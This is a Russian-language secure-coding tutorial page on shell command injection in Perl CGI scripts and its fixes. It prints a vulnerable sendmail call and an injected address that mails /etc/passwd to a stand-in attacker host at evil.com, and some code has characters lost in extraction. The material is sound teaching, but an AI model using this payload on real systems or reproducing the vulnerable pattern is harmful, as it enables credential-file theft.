|
Типовые ошибки
Вызов внешних приложений с использованием командной оболочки. #!/usr/bin/perl use CGI qw(:standard); $query = new CGI; $mailprog='| /usr/sbin/sendmail'; $address= $query >param('address'); $from='webmaster@somehost'; open (MAIL,"$mailprog $address"); print MAIL "From: $from\nSubject: Confirmation\n\n"; print MAIL "Your request was successfully received\n"; close MAIL; Теперь предположим, что пользователь ввел следующий обратный адрес: hacker@evil.com;mail hacker@evil.com </etc/passwd;
При использовании sendmail избавиться от ошибки очень легко - достаточно применить ключ "-t", запрещающий использовать адрес, переданный в командной строке, и передать его в заголовке письма: ... $mailprog='| /usr/sbin/sendmail t'; open (MAIL,"$mailprog "); print MAIL "To: $address\nFrom: $from\nSubject: Confirmation\n\n"; print MAIL "Your request was successfully received\n"; close MAIL; Если же никак не удается избавиться от необходимости передачи пользовательского ввода оболочке, остается фильтровать в нем все специальные символы. Этих символов довольно много: <>|&;`'\"*$?~^()[]{}\n\r. Кроме того, при вызове системных функций особо осторожно стоит работать с "нулевым" символом - \0. Дело в том, что для системных функций, написанных, как правило, на C, нулевой символ является признаком конца строки. Для Perl же нулевой символ вполне может оказаться частью строки. В итоге строка, которая проверяется perl-скриптом, и передается такой функции, может оказаться совсем не похожей на то, что получит функция. Самое простое, что можно сделать, - удалить все спецсимволы из введенной строки с помощью конструкции примерно такого вида: $metasymbols = "][<>\|&;`'\"*\$\?~\^(){}\n\r"; $string =~ s/[$metasymbols\\]//g; Помимо этого постарайтесь гарантировать соответствие ввода предусмотренному шаблону. Скажем, для того же почтового адреса этим шаблоном может быть name@domain1.domain2, что чаще всего делается на Perl следующим образом: die "Wrong address" if ($address !~ /^\w[\w\ .]*\@[\w\ .]+$/); Здесь в начале и в конце строки ожидается один или несколько символов a z, A Z, 0 9, " ", "." и "@" внутри, причем " " или "." не могут быть первыми. Правда, это не слишком помогает против атак, подобных приведенной выше, достаточно завершить наш псевдоадрес чем нибудь типа ;@somewhere.ru. Если же у вас нет желания фильтровать спецсимволы, можно использовать другой вариант вызова функций system и exec, позволяющий передать не один аргумент, а список аргументов. В этом случае Perl не передает список аргументов в оболочку, а рассматривает первый аргумент как подлежащую выполнению команду, и остальные аргументы - как параметры этой команды. Причем обычная для оболочки интерпретация спецсимволов не производится: вместо system "grep $pattern $files"; использовать system "grep", "$pattern", "$files";. Этим же свойством можно воспользоваться для безопасного перенаправленного ввода/вывода. При этом нам понадобится знание того факта, что при открытии с перенаправлением вывода команды " " мы неявно вызываем fork, создавая тем самым копию нашего процесса. В такой ситуации функция open возвращает 0 для дочернего процесса и pid дочернего процесса для родительского, что позволяет применять оператор or: open (MAIL, "| ") or exec $mailprog, $address; #open в родительском процессе возвращает ненулевое значение, # и нет #необходимости выполнять правую сторону or. Дочерний же процесс #выполняет exec, после чего завершается. print MAIL "From: $from\nSubject: Confirmation\n\n"; print MAIL "Your request was successfully received\n"; close MAIL; |
![]() |
||||||||||||||||||||||||
| ||||||||||||||||||||||||||
![]() |
|
|
|
|